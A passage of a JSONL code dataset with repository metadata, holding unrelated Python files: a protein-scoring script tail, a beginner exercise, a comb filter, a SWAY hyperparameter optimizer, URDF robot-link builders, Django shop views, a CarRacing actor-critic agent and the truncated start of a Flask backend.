for line in sFile:\r\n                tmp = line.split()\r\n                if(len(tmp) > 0):\r\n                        lines.append(line)\r\n\r\n    score_file = open(outPath + '/' + targetName + '.PIQLE', 'w')\r\n    for line in sorted(lines, key=lambda line: float(line.split()[1]), reverse = True):\r\n        score_file.write(line)\r\n    score_file.close()\r\n\r\n    if(os.path.exists(outPath + '/' + targetName + '.PIQLE') and os.path.getsize(outPath + '/' + targetName + '.PIQLE') > 0):\r\n            print(\"Congratulations! All processes are done successfully\")\r\n\r\ndef main():      \r\n    runDSSP()\r\n    generatePairs()\r\n    generateOrientation()\r\n    generateDistance()\r\n    concatMSA()\r\n    calculateNeff()\r\n    generateFeatures()\r\n    score()\r\n    finalizeScore()\r\n        \r\nif __name__ == '__main__':\r\n        main()\r\n","repo_name":"Bhattacharya-Lab/PIQLE","sub_path":"PIQLE.py","file_name":"PIQLE.py","file_ext":"py","file_size_in_byte":47426,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"70834492958","text":"#Suma de Positivos\n#Erick Segura Sánchez\n\nn=int(input('Escribe la cantidad de numeros: '))\n\ntot=0\n\nfor i in range (0,n):\n    num=int(input(f'Escribe el numero '))\n    if num > 0:\n        tot=tot+num\n\nprint(tot)\n","repo_name":"ErickinSegura/primer-semestre","sub_path":"Pensamiento computacional para ingenieria/#Suma de positivos.py","file_name":"#Suma de positivos.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35216811504","text":"#!/usr/bin/anaconda3/bin/python\n\nimport numpy as np\n\ndef comb(Nperiod, Nwindow):\n    \"a finite comb with period Nperiod\"\n\n    h = np.zeros(Nwindow)\n    if Nperiod > 0:\n        h[0:Nwindow:Nperiod] = 1\n    else:\n        h[0] = 1\n\n    return h\n\nif __name__ == \"__main__\":\n    print(comb(4, 20))\n        \n","repo_name":"ck2w/baruch-mfe-lab","sub_path":"MTH9893/hw4/comb.py","file_name":"comb.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"51"}
+{"seq_id":"23064413706","text":"from itertools import product\nfrom typing import Optional, List\n\nfrom data import Data\nfrom data.col import Col\nfrom data.row import Row\nfrom distance import PDist, cosine_similarity, Distance\nfrom predicate import HyperparameterPredicate\nfrom utils import many, any\nfrom .base import BaseOptimizer\nfrom .sway import SwayOptimizer\n\n\nclass SwayHyperparameterOptimizer(BaseOptimizer):\n    def __init__(self, distance_class: Distance = None, reuse: bool = True, far: float = 0.95, halves: int = 512,\n                 rest: int = 10, i_min: float = 0.5, file: str = None, sway2: bool = False, seed=None):\n        super().__init__(seed)\n\n        self._data: Optional[Data] = None\n\n        self._distance_class = distance_class or PDist(2)\n\n        self._reuse = reuse\n        self._far = far\n        self._halves = halves\n        self._rest = rest\n        self._i_min = i_min\n        self._file = file\n        self._sway2 = sway2\n        self._options = None\n\n    def _run(self, data):\n        evals = 0\n        if not self._options:\n            evals = self._explore_parameters()\n\n        best, rest, evals_1 = SwayOptimizer(\n            reuse=self._options[\"reuse\"],\n            far=self._options[\"Far\"],\n            halves=self._options[\"Halves\"],\n            rest=self._options[\"Rest\"],\n            i_min=self._options[\"IMin\"],\n            distance_class=PDist(self._options[\"P\"])\n        ).run(data)\n        return best, rest, evals + evals_1\n\n    def _project(self, cols: List[Col], row: Row, a: Row, b: Row, c: float):\n        return {\n            \"row\": row,\n            \"x\": cosine_similarity(\n                a=self._distance_class.dist(cols, row, a),\n                b=self._distance_class.dist(cols, row, b),\n                c=c\n            )\n        }\n\n    def _half(self, cols: List[Col], rows: List[Row], above=None):\n        \"\"\"\n        divides data using 2 far points\n        \"\"\"\n        some = many(rows, self._halves)\n\n        a = above if above is not None and self._reuse else any(some)\n\n        tmp = sorted([{\"row\": r, \"d\": self._distance_class.dist(cols, r, a)} for r in some], key=lambda x: x[\"d\"])\n        far = tmp[int((len(tmp) - 1) * self._far)]\n\n        b, c = far[\"row\"], far[\"d\"]\n\n        sorted_rows = sorted(map(lambda row: self._project(cols, row, a, b, c), rows), key=lambda x: x[\"x\"])\n        left, right = [], []\n\n        for n, two in enumerate(sorted_rows):\n            if (n + 1) <= (len(rows) / 2):\n                left.append(two[\"row\"])\n            else:\n                right.append(two[\"row\"])\n\n        evals = 1 if above is not None and self._reuse else 2\n\n        return left, right, a, b, c, evals\n\n    def _sway(self, cols: List[Col]):\n        def worker(rows: List[Row], worse, evals0=None, above=None):\n            if len(rows) <= len(self._data.rows) ** self._i_min:\n                return rows, many(worse, self._rest * len(rows)), evals0\n\n            l, r, a, b, c, evals_ = self._half(cols, rows, above)\n            new_data = Data(self._file)\n\n            [better, gs_evals_] = HyperparameterPredicate.better(self._data.cols, b, a, new_data, SwayOptimizer)\n            evals_ += gs_evals_\n            if better:\n                l, r, a, b = r, l, b, a\n\n            for x in r:\n                worse.append(x)\n\n            return worker(l, worse, evals_ + evals0, a)\n\n        best, rest, evals = worker(self._data.rows, [], 0)\n\n        return Data.clone(self._data, best), Data.clone(self._data, rest), evals\n\n    def _explore_parameters(self):\n        if self._sway2 and not self._options:\n            print(\"refreshing sway\")\n            # list of parameters used by sway, as well as example values to sample\n            params = {\n                \"Far\": [i / 100 for i in range(70, 105, 5)],\n                \"Halves\": [i for i in range(100, 800, 100)],\n                \"IMin\": [i / 10 for i in range(0, 8, 2)],\n                \"Max\": [i for i in range(1, 50, 5)],\n                \"P\": [1 + (i / 10) for i in range(0, 14, 2)],\n                \"Rest\": [i for i in range(1, 5)],\n                \"reuse\": [True, False],\n            }\n            # types of each parameter\n            types = {\n                \"Far\": float,\n                \"Halves\": int,\n                \"IMin\": float,\n                \"Max\": int,\n                \"P\": float,\n                \"Rest\": int,\n                \"reuse\": bool\n            }\n\n            for k, v in params.items():\n                print(k, v)\n            # get each combination of parameters\n            permutations_dicts = [dict(zip(params.keys(), v)) for v in product(*params.values())]\n\n            # this is used to create a sample CSV for our parameters\n            test_params = {}\n            for k, v in params.items():\n                test_params[k] = v[0]\n\n            with open(\"gridsearch_params.csv\", \"w\") as fp:\n                fp.write(\",\".join(test_params.keys()) + \"\\n\")\n                fp.write(\",\".join([str(c) for c in test_params.values()]))\n\n            # create a data object of all combinations of hyperparameters\n            test_data = Data(\"gridsearch_params.csv\")\n            data = Data(src=test_data, rows=[list(v.values()) for v in permutations_dicts])\n\n            # get the best combination of hyperparameters\n            # self._sway()\n            self._data = data\n            best, _, n_evals = self._sway(data.cols.x)\n\n            # set the hyperparameters as the \"average\" of the hyperparameters in best\n            res = best.stats(best.cols.x)\n            res.pop(\"N\")\n            res = {k: types[k](v) for k, v in res.items()}\n            print(\"new: \", res)\n            print()\n            self._options = res\n\n            return n_evals\n\n        # these are optimized for auto2.csv - do not change\n        self._options = {'Far': 0.75, 'Halves': 500, 'IMin': 0.2, 'P': 2, 'Rest': 3, 'reuse': True}\n        return 0\n\n","repo_name":"kingan1/CSC591-MultiGoal-SemiSupervised","sub_path":"src/models/optimizers/sway_hyperparameter.py","file_name":"sway_hyperparameter.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11616938473","text":"from urdf_parser_py.urdf import *\n\nimport inertial_common\nfrom robot import Robot, JointType\nfrom constants.robot_params import *\nfrom constants import color_consts, mesh_files\nimport links\nimport math\nfrom typing import Tuple\nfrom robot_arm import add_robot_arm\n\ndef create_footprint_link(robot: Robot) -> Link:\n    link = Link(name='base_footprint')\n    robot.add_link(link)\n    return link\n\n\ndef create_base_link(robot: Robot, footprint_link: Link = None) -> Link:\n    base_link, base_link_gazebo = links.create_cylinder_link(\n        link_name='base_link',\n        radius=base_link_radius,\n        length=base_link_height,\n        weight=base_link_weight,\n        material=color_consts.black_color)\n    robot.add_link(base_link)\n    robot.add_gazebo(base_link_gazebo)\n\n    if footprint_link is not None:\n        robot.joint_links(\n            parent=footprint_link,\n            child=base_link,\n            joint_type=JointType.fixed,\n            origin=Pose(xyz=(0, 0, base2footprint_distance)))\n    return base_link\n\n\ndef create_laser_link(robot: Robot, base_link: Link) -> Link:\n    visual_geometry = Mesh(filename=mesh_files.hokuyo_mesh,\n                           scale=(1, 1, 1))\n    collision_geometry = Box(size=(laser_length,\n                                   laser_width,\n                                   laser_height,))\n\n    laser_link = Link(name='laser_link',\n                      visual=Visual(geometry=visual_geometry, ),\n                      collision=Collision(geometry=collision_geometry),\n                      inertial=inertial_common.box_inertial_matrix(laser_weight,\n                                                                   laser_length,\n                                                                   laser_width,\n                                                                   laser_height, ))\n    robot.add_link(laser_link)\n    robot.joint_links(\n        parent=base_link,\n        child=laser_link,\n        joint_type=JointType.fixed,\n        origin=Pose(xyz=(laser2base_center_distance,\n                         0,\n                         (laser_height + base_link_height) / 2)))\n\n    return laser_link\n\n\ndef create_imu_link(robot: Robot, base_link: Link) -> Link:\n    imu_link, imu_gazebo = links.create_box_link(\n        link_name='imu_link',\n        x_length=imu_length,\n        y_length=imu_width,\n        z_length=imu_height,\n        weight=imu_weight,\n        material=color_consts.metal_color,\n    )\n    robot.add_link(imu_link)\n    robot.add_gazebo(imu_gazebo)\n\n    robot.joint_links(\n        parent=base_link,\n        child=imu_link,\n        joint_type=JointType.fixed,\n        origin=Pose(xyz=(0,\n                         0,\n                         -(imu_height + base_link_height) / 2)))\n    return imu_link\n\n\ndef create_metal_link(robot: Robot,\n                      parent_link: Link,\n                      name_prefix: str,\n                      length: float,\n                      origin: Pose = None) -> Link:\n    radius = 0.01\n    weight_per_m = 1\n\n    geometry = Cylinder(radius=radius,\n                        length=length, )\n\n    link_label = Link(name=f'{name_prefix}_metal_link',\n                      visual=Visual(geometry=geometry,\n                                    origin=Pose(xyz=(0, 0, length / 2)),\n                                    material=color_consts.metal_color.rviz),\n                      collision=Collision(geometry=geometry,\n                                          origin=Pose(xyz=(0, 0, length / 2))),\n                      inertial=inertial_common.cylinder_inertial_matrix(weight_per_m * length, radius, length))\n    gazebo_label = links.create_gazebo_material_label(link_label.name, color_consts.metal_color)\n\n    robot.add_link(link_label)\n    robot.add_gazebo(gazebo_label)\n\n    robot.joint_links(\n        parent=parent_link,\n        child=link_label,\n        joint_type=JointType.fixed,\n        origin=origin,\n    )\n    return link_label\n\n\ndef create_battery_base_link(robot: Robot, metal_link: Link) -> Link:\n    \"\"\"\n    创建电池底盘\n    :param robot:机器人\n    :param metal_link:机器人底盘\n    :return:电池底盘\n    \"\"\"\n    battery_base_link, battery_base_link_gazebo = links.create_cylinder_link(\n        link_name='battery_base_link',\n        radius=battery_base_link_radius,\n        length=battery_base_link_height,\n        weight=battery_base_link_weight,\n        material=color_consts.metal_color)\n    robot.add_link(battery_base_link)\n    robot.add_gazebo(battery_base_link_gazebo)\n    robot.joint_links(\n        parent=metal_link,\n        child=battery_base_link,\n        joint_type=JointType.fixed,\n        origin=Pose(\n            xyz=(0,\n                 0,\n                 battery2base_distance)\n        )\n    )\n    return battery_base_link\n\n\ndef create_battery_link(robot: Robot, battery_base_link: Link, prefix: str) -> Link:\n    battery_link, battery_gazebo = links.create_box_link(\n        link_name=f'{prefix}_battery_link',\n        x_length=battery_length,\n        y_length=battery_width,\n        z_length=battery_height,\n        weight=battery_weight,\n        material=color_consts.blue_color,\n    )\n    robot.add_link(battery_link)\n    robot.add_gazebo(battery_gazebo)\n\n    robot.joint_links(\n        parent=battery_base_link,\n        child=battery_link,\n        joint_type=JointType.fixed,\n        origin=Pose(xyz=(\n            0,\n            ((battery_width + battery_distance) / 2) * (1 if prefix == 'left' else -1),\n            (battery_height + battery_base_link_height) / 2\n        ))\n    )\n    return battery_link\n\n\ndef create_arm_base_link(robot: Robot, metal_link: Link) -> Link:\n    \"\"\"\n    创建电池底盘\n    :param robot:机器人\n    :param metal_link:机器人底盘\n    :return:电池底盘\n    \"\"\"\n    arm_base_link, arm_base_link_gazebo = links.create_cylinder_link(\n        link_name='arm_base_link',\n        radius=arm_base_link_radius,\n        length=arm_base_link_height,\n        weight=arm_base_link_weight,\n        material=color_consts.metal_color)\n    robot.add_link(arm_base_link)\n    robot.add_gazebo(arm_base_link_gazebo)\n    robot.joint_links(\n        parent=metal_link,\n        child=arm_base_link,\n        joint_type=JointType.fixed,\n        origin=Pose(\n            xyz=(0,\n                 0,\n                 arm2battery_distance)\n        )\n    )\n    return arm_base_link\n\n\ndef create_camera_base_link(robot: Robot, metal_link: Link) -> Link:\n    \"\"\"\n    创建相机底盘\n    :param robot:机器人\n    :param metal_link:相机底盘连接杆\n    :return:相机底盘\n    \"\"\"\n    camera_base_link, camera_base_link_gazebo = links.create_box_link(\n        link_name='camera_base_link',\n        x_length=camera_base_link_length,\n        y_length=camera_base_link_width,\n        z_length=camera_base_link_height,\n        weight=camera_base_link_weight,\n        material=color_consts.black_color,\n    )\n    robot.add_link(camera_base_link)\n    robot.add_gazebo(camera_base_link_gazebo)\n    robot.joint_links(\n        parent=metal_link,\n        child=camera_base_link,\n        joint_type=JointType.fixed,\n        origin=Pose(\n            xyz=(0,\n                 0,\n                 camera2arm_distance)\n        )\n    )\n    return camera_base_link\n\n\ndef add_d435i_rgbd_camera_link(robot: Robot,\n                               camera_base_link: Link) -> Link:\n    robot.add_material_xml(\"\"\"\n    <material name=\"aluminum\">\n        <color rgba=\"0.5 0.5 0.5 0.8\"/>\n    </material>\n    \"\"\")\n\n    robot.add_material_xml(\"\"\"\n    <material name=\"plastic\">\n        <color rgba=\"0.1 0.1 0.1 0.8\"/>\n    </material>\n    \"\"\")\n\n    robot.add_joint_xml(f\"\"\"\n    <joint name=\"camera_joint\" type=\"fixed\">\n        <origin rpy=\"0 0 0\" xyz=\"{camera_base_link_length / 2} 0 0\"/>\n        <parent link=\"{camera_base_link.name}\"/>\n        <child link=\"camera_bottom_screw_frame\"/>\n    </joint>\n    \"\"\")\n\n    robot.add_link_xml(\"\"\"\n    <link name=\"camera_bottom_screw_frame\"/>\n    \"\"\")\n\n    robot.add_joint_xml(\"\"\"\n    <joint name=\"camera_link_joint\" type=\"fixed\">\n        <origin rpy=\"0 0 0\" xyz=\"0.010600000000000002 0.0175 0.0125\"/>\n        <parent link=\"camera_bottom_screw_frame\"/>\n        <child link=\"camera_link\"/>\n    </joint>\n    \"\"\")\n\n    camera_link = robot.add_link_xml(\"\"\"\n      <link name=\"camera_link\">\n    <visual>\n       <!-- the mesh origin is at front plate in between the two infrared camera axes -->\n       <origin rpy=\"1.5707963267948966 0 1.5707963267948966\" xyz=\"0.0043 -0.0175 0\"/>\n       <geometry>\n         <mesh filename=\"package://realsense2_description/meshes/d435.dae\"/>\n       </geometry>\n     </visual>\n     <collision>\n       <origin rpy=\"0 0 0\" xyz=\"0 -0.0175 0\"/>\n       <geometry>\n         <box size=\"0.02505 0.09 0.025\"/>\n       </geometry>\n     </collision>\n     <inertial>\n       <!-- The following are not reliable values, and should not be used for modeling -->\n       <mass value=\"0.072\"/>\n       <origin xyz=\"0 0 0\"/>\n       <inertia ixx=\"0.003881243\" ixy=\"0.0\" ixz=\"0.0\" iyy=\"0.000498940\" iyz=\"0.0\" izz=\"0.003879257\"/>\n     </inertial>\n    </link>\n    \"\"\")\n    return camera_link\n\n\ndef create_support_wheel(robot: Robot,\n                         base_link: Link,\n                         prefix: str):\n    wheel_link, wheel_gazebo = links.create_sphere_link(\n        link_name=f'{prefix}_support_wheel',\n        radius=base2footprint_distance / 2,\n        weight=support_wheel_weight,\n        material=color_consts.metal_color,\n    )\n    robot.add_link(wheel_link)\n    robot.add_gazebo(wheel_gazebo)\n\n    robot.joint_links(\n        parent=base_link,\n        child=wheel_link,\n        joint_type=JointType.fixed,\n        origin=Pose(\n            xyz=((wheel2base_center_distance * (1 if prefix == 'front' else -1)),\n                 0,\n                 -(base_link_height + base2footprint_distance) / 2),\n            rpy=(0, 0, 0)\n        )\n    )\n\n\ndef create_drive_wheel(robot: Robot,\n                       base_link: Link,\n                       prefix: str) -> Tuple[Link, Joint]:\n    \"\"\"\n    创建驱动轮\n    :param robot: 机器人\n    :param base_link: 底盘\n    :param prefix: 左(left)右(right)轮\n    :return: 驱动轮\n    \"\"\"\n    wheel_link, wheel_gazebo = links.create_cylinder_link(\n        link_name=f'{prefix}_drive_wheel',\n        radius=drive_wheel_radius,\n        length=drive_wheel_height,\n        weight=drive_wheel_weight,\n        material=color_consts.metal_color,\n    )\n    robot.add_link(wheel_link)\n    robot.add_gazebo(wheel_gazebo)\n\n    __joint = robot.joint_links(\n        parent=base_link,\n        child=wheel_link,\n        joint_type=JointType.continuous,\n        axis=(0, 0, 1),\n        origin=Pose(\n            xyz=(0,\n                 (wheel2base_center_distance * (1 if prefix == 'left' else -1)),\n                 -(base_link_height / 2 +\n                   base2footprint_distance -\n                   drive_wheel_radius)),\n            rpy=(-math.pi / 2, 0, 0)\n        )\n    )\n\n    robot.joint_trans(__joint)\n    return wheel_link, __joint\n","repo_name":"Lxin23/sit-rob-test","sub_path":"sit_service_description/scripts/robot_links.py","file_name":"robot_links.py","file_ext":"py","file_size_in_byte":10982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19720455875","text":"from django.shortcuts import render\nfrom .models import product,order\n\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import Permission, User\nfrom django.shortcuts import get_object_or_404\nfrom django.contrib.auth import authenticate, login as auth_login,logout as auth_logout\n\nfrom django.urls import reverse\n# Create your views here.\ndef index(request):\n    context={\n        \"products\":product.objects.all()[:3],\n\t\t\"user\":request.user\n    }\n    return render(request,'index.html',context=context)\ndef catalog(request):\n    context={\n        \"products\":product.objects.all()\n    }\n    return render(request,'catalog.html',context=context)\ndef products(request):\n    return render(request,'product.html')\ndef FAQ(request):\n    return render(request,'FAQ.html')\ndef policy(request):\n    return render(request,'policy.html')\ndef checkout(request,product_id):\n    context={\n                \"error\":\"\"\n\n            }\n    if(request.method=='POST'):\n        if(request.POST['name']!='' and request.POST['Mobile']!='' and request.POST['Address']!='' and request.POST['email']!=''  and request.POST['Mobile'].isdigit() ):\n            f=order(name=request.POST['name'],Mobile=request.POST['Mobile'],\n                    email=request.POST['email'],Address=request.POST['Address'],\n                    myproduct=product_id)\n            f.save()\n            context={\n                \"error\":\"order submitted successfully\"\n\n            }\n        else:\n            context={\n                \"error\":\"please fill correct information\"\n\n            }\n\n\n    return render(request,'order.html',context=context)\n\n\n@login_required(redirect_field_name='login')\ndef mycart(request):\n\tuser = request.user\n\tCart = user.cart.all()\n\tprint(Cart)\n\tcontext ={\n\t\t\"user\":user,\n\t\t\"cart\":Cart,\n\t}\n\treturn render(request,'cart.html',context=context)\n\ndef register(request):\n\tif request.user.is_authenticated:\n\t\treturn HttpResponseRedirect(reverse(\"index\"))\n\ttry:\n\t\tusername = request.POST[\"username\"]\n\t\tpassword = request.POST[\"password\"]\n\t\temail = request.POST[\"email\"]\n\t\tname = request.POST[\"fullname\"]\n\t\tuser = User.objects.create_user(username,email,password)\n\t\tuser.first_name = name\n\t\tuser.save()\n\t\tif user is not None:\n\t\t\tauth_login(request,user)\n\t\t\treturn HttpResponseRedirect(reverse(\"index\"))\n\t\treturn render(request,\"register.html\",{\"message\":\"Unable to register\"})\n\texcept Exception as e:\n\t\tprint(e)\n\t\treturn render(request,\"register.html\",{\"message\":None})\n\n\ndef login(request):\n\ttry:\n\t\tusername = request.POST[\"username\"]\n\t\tpassword = request.POST[\"password\"]\n\t\tuser = authenticate(request,username=username,password = password)\n\t\tprint(user)\n\t\tif user is not None:\n\t\t\tauth_login(request,user)\n\t\t\tprint(\"authenticated\")\n\t\t\treturn HttpResponseRedirect(reverse(\"index\"))\n\t\treturn render(request,\"login.html\",{\"message\":\"Invalid Credentials\"})\n\texcept Exception as e:\n\t\tprint(e)\n\t\treturn render(request,\"login.html\",{\"message\":None})\n\n@login_required(redirect_field_name='login')\ndef logout(request):\n\tauth_logout(request)\n\treturn HttpResponseRedirect(reverse(\"index\"))\n","repo_name":"rj33536/TheDjangoApp","sub_path":"ecommerce/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"72952208158","text":"import gymnasium as gym\nimport numpy as np\nfrom typing import Any, Tuple\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import Normal\n\ntorch.manual_seed(42)  #0\n\n\nclass Actor(nn.Module):\n    def __init__(self, state_dim: Any, action_dim: int, max_action: float, hidden_dim: int = 256) -> None:\n        super(Actor, self).__init__()   \n        self.conv1 = nn.Conv2d(state_dim[0], 32, kernel_size=3, stride=2, padding=1)\n        self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=2, padding=1)\n        self.conv3 = nn.Conv2d(64, 128, kernel_size=3, stride=2, padding=1)\n\n        self.conv_out_size = self._get_conv_out(state_dim)\n        self.fc1 = nn.Linear(self.conv_out_size, hidden_dim)  # 1536 / 128 * 11 * 11\n        self.fc2 = nn.Linear(hidden_dim, hidden_dim)\n\n        self.mean_fc = nn.Linear(hidden_dim, action_dim)\n        self.std_fc = nn.Linear(hidden_dim, action_dim)\n\n        self.max_action = max_action\n\n    def _get_conv_out(self, shape: Any) -> int:\n        o = self.conv1(torch.zeros(1, *shape))\n        return int(np.prod(o.size())/2)\n    \n    def forward(self, state: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:\n        '''Actor Forward'''\n        x = F.relu(self.conv1(state))\n        x = F.relu(self.conv2(x))\n        x = F.relu(self.conv3(x))\n\n        # Flatten\n        x = x.reshape(-1, self.conv_out_size)  # 1536 / 128 * 11 * 11\n\n        x = F.relu(self.fc1(x))\n        x = F.relu(self.fc2(x))\n\n        mean = self.max_action * torch.tanh(self.mean_fc(x))\n        std = F.softplus(self.std_fc(x))\n\n        return mean, std\n    \n    def sample_action(self, state: torch.Tensor) -> torch.Tensor:\n        # Choose action using actor network\n        mean, std = actor(state)\n\n        # Select action by subsampling from action space distribution\n        distribution = Normal(loc=mean, scale=std)  # type: ignore\n        action = distribution.sample()  # type: ignore\n\n        return action\n\nclass Critic(nn.Module):\n    def __init__(self, state_dim: Any, action_dim: int, hidden_dim: int=256) -> None:\n        super(Critic, self).__init__()\n        self.conv1 = nn.Conv2d(state_dim[0], 32, kernel_size=3, stride=2, padding=1)\n        self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=2, padding=1)\n        self.conv3 = nn.Conv2d(64, 128, kernel_size=3, stride=2, padding=1)\n        \n        self.conv_out_size = self._get_conv_out(state_dim)\n        self.fc1 = nn.Linear(self.conv_out_size + action_dim, hidden_dim)  # 1536 / 128 * 11 * 11\n        self.fc2 = nn.Linear(hidden_dim, hidden_dim)\n        self.fc3 = nn.Linear(hidden_dim, 1)\n\n    def _get_conv_out(self, shape: Any) -> int:\n        o = self.conv1(torch.zeros(1, *shape))\n        return int(np.prod(o.size())/2)\n        \n    def forward(self, state: torch.Tensor, action: torch.Tensor) -> torch.Tensor:\n        x = F.relu(self.conv1(state))\n        x = F.relu(self.conv2(x))\n        x = F.relu(self.conv3(x))\n\n        action = action.view(action.size(0), -1) # reshape to (1, 3)\n        x = x.reshape(x.size(0), -1)  # reshape to (1, 128*12*12)\n\n        x = torch.cat([x, action], dim=1)\n\n        x = F.relu(self.fc1(x))\n        x = F.relu(self.fc2(x))\n        x = self.fc3(x)\n        \n        return x\n\n    def evaluate(self, state: torch.Tensor, action: torch.Tensor):\n        \"\"\"\n        forward is the function that computes the Q-value \n        for a given state-action pair. evaluate is simply a wrapper around \n        forward that allows the critic to be used for both forward pass \n        and evaluation.\n        \"\"\"\n        return self.forward(state, action)\n    \n\nif __name__ == \"__main__\":\n    # Setup device\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n    # Define environment hyperparameters\n    env_name = \"CarRacing-v2\"\n    render_mode = \"human\"\n    max_episodes = 5 #1000\n    randomize_domain = False  # reset with colour scheme change\n    max_episode_steps = 600 # use less than the max to truncate episode not terminate\n\n    # Initialize environment and model\n    env = gym.make(env_name, \n        render_mode=\"human\", \n        continuous=True,\n        domain_randomize=randomize_domain,\n        max_episode_steps=max_episode_steps,\n    )\n\n    # Number of Dimensions in the Observable Space and number of Control Actions in the Environments\n    print(f'Observation Space: {env.observation_space}')\n    print(f'Action Space: {env.action_space}')\n\n    print(\"Observation Space Param: 96x96x3 values for Red, Green and Blue pixels\")\n    print(f'Observation Space Highs: {np.mean(env.observation_space.high)}')\n    print(f'Observation Space Lows: {np.mean(env.observation_space.low)}')\n\n    # Check if state is part of observation space\n    state, info = env.reset(seed=42)\n    print(f'Checking if the state is part of the observation space: {env.observation_space.contains(state)}')\n\n    state = env.action_space.sample() # observation, _, _ = ...\n    print(f'Checking if subsequent states are too part of the observation space: {env.observation_space.contains(state)}')\n\n    # Actor-Critic typerparameters\n    num_episodes = 3 #1000\n    gamma = 0.99\n    lr = 0.0001\n    value_coef = 0.5\n    entropy_coef = 0.01\n\n    # Initialize actor and critic networks\n    state_dim = env.observation_space.shape #[0]\n    action_dim = env.action_space.shape[0]\n    max_action = env.action_space.high[0]\n\n    # Convert action space range of low and high values to Tensors\n    action_space_low = torch.from_numpy(np.array([-1.0, -0.0, 0.0], dtype=np.float32))\n    action_space_high = torch.from_numpy(np.array([+1.0, +1.0, +1.0], dtype=np.float32))\n\n    # Initialize Actor and Critic networks\n    actor = Actor(state_dim, action_dim, max_action).to(device)\n    critic = Critic(state_dim, action_dim).to(device)\n\n    # Initialize optimizer\n    actor_optimizer = optim.Adam(actor.parameters(), lr=lr)\n    critic_optimizer = optim.Adam(critic.parameters(), lr=lr)\n    \n    # Training loop\n    for episode in range(num_episodes):\n        # Reset the environment and get the initial state\n        state, info = env.reset(seed=42)\n        episode_reward = 0\n        done = False\n\n        while not done:\n            # Use `with torch.no_grad():` to disable gradient calculations when performing inference.\n            #with torch.no_grad():\n            state_tensor = torch.FloatTensor(state).unsqueeze(0).to(device)\n\n            # Choose action using actor network\n            action_mean, action_std = actor(state_tensor)\n\n            # Select action by subsampling from action space distribution\n            action_distribution = Normal(loc=action_mean, scale=action_std)  # type: ignore\n            action = action_distribution.sample()  # type: ignore\n\n            # Rescale the action to the range of teh action space\n            rescaled_action = ((action + 1) / 2) * (\n                action_space_high - action_space_low\n            ) + action_space_low\n\n            # Clip the rescaledaction to ensure it falls within the bounds of the action space\n            clipped_action = torch.clamp(rescaled_action, action_space_low, action_space_high)\n\n            # Take a step in the environment with the chosen action\n            next_state, reward, terminated, truncated, info = env.step(clipped_action.squeeze().cpu().detach().numpy())\n            done =  terminated or truncated\n            episode_reward += reward\n\n            # Compute TD error and update critic network\n            reward = torch.FloatTensor([reward]).unsqueeze(0).to(device)\n\n            # Calculate Q-value(state, action)\n            q_value = critic(state_tensor, clipped_action)\n\n            # Use `with torch.no_grad():` to disable gradient calculations when performing inference.\n            #with torch.no_grad():\n            next_state_tensor = torch.FloatTensor(next_state).unsqueeze(0).to(device)\n\n            # Choose action using actor network\n            next_action_mean, next_action_std = actor(next_state_tensor)\n\n            # Select action by subsampling from action space distribution\n            next_action_distribution = Normal(loc=next_action_mean, scale=next_action_std)  # type: ignore\n            next_action = next_action_distribution.sample()  # type: ignore\n\n            # Rescale the action to the range of teh action space\n            next_rescaled_action = ((next_action + 1) / 2) * (\n                action_space_high - action_space_low\n            ) + action_space_low\n\n            # Clip the rescaledaction to ensure it falls within the bounds of the action space\n            next_clipped_action = torch.clamp(next_rescaled_action, action_space_low, action_space_high)\n\n            next_q_value = critic(next_state_tensor, next_clipped_action)\n\n            td_error = reward + gamma * (1 - terminated) * next_q_value - q_value\n            critic_loss = td_error ** 2\n\n            critic_optimizer.zero_grad()\n            critic_loss.backward()\n            critic_optimizer.step()\n\n            # Compute advantage and update actor network\n            advantage = td_error.clone().detach().requires_grad_(True)\n            actor_loss = -action_distribution.log_prob(clipped_action) * advantage - entropy_coef * action_distribution.entropy()\n\n            actor_optimizer.zero_grad()\n            critic_optimizer.zero_grad()\n\n            actor_loss_scalar = actor_loss.mean()\n            actor_optimizer.zero_grad()\n            actor_loss_scalar.backward()\n            actor_optimizer.step()\n\n            state = next_state\n\n            if done:\n                break\n\n        print('Episode %d, reward: %f' % (episode, episode_reward))","repo_name":"chrisjcc/agents","sub_path":"examples/car_racing.py","file_name":"car_racing.py","file_ext":"py","file_size_in_byte":9644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12182481385","text":"import threading\nimport time\nimport atexit\nfrom flask import Flask\n\nfrom backend.db.database import get_session, init_db\nfrom backend.log.factory import Logger, init_logger\nfrom backend.apis.auth.routes import auth_bp\nfrom backend.apis.discovery.routes import discovery_bp\nfrom backend.apis.validate.routes import validate_bp\nfrom backend.apis.run.routes import run_bp\nfrom backend.tester.connectors.zap.factory import ZAP\nfrom backend.tester.connectors.zap.zap_handler import shutdown_zap, start_zap\nfrom backend.utils.constants import WORK_DIR\nfrom backend.utils.file_handler import remove_files\nfrom backend.utils.file_cache_handler import init_cache\nfrom backend.utils.init_folders import create_folders\n\nlogger = Logger(__name__)\n\napp = Flask(__name__)\n\n\ndef setup_gunicorn_app():\n    \"\"\"\n    Setup app, including db and api routes\n    \"\"\"\n    app.config.from_object(\"config.ProdConfig\")\n    DATABASE_URI = app.config[\"DATABASE_URI\"]\n\n    # Register Blueprints\n    register_blueprints(app)\n\n    with app.app_context():\n\n        # Initialize database\n        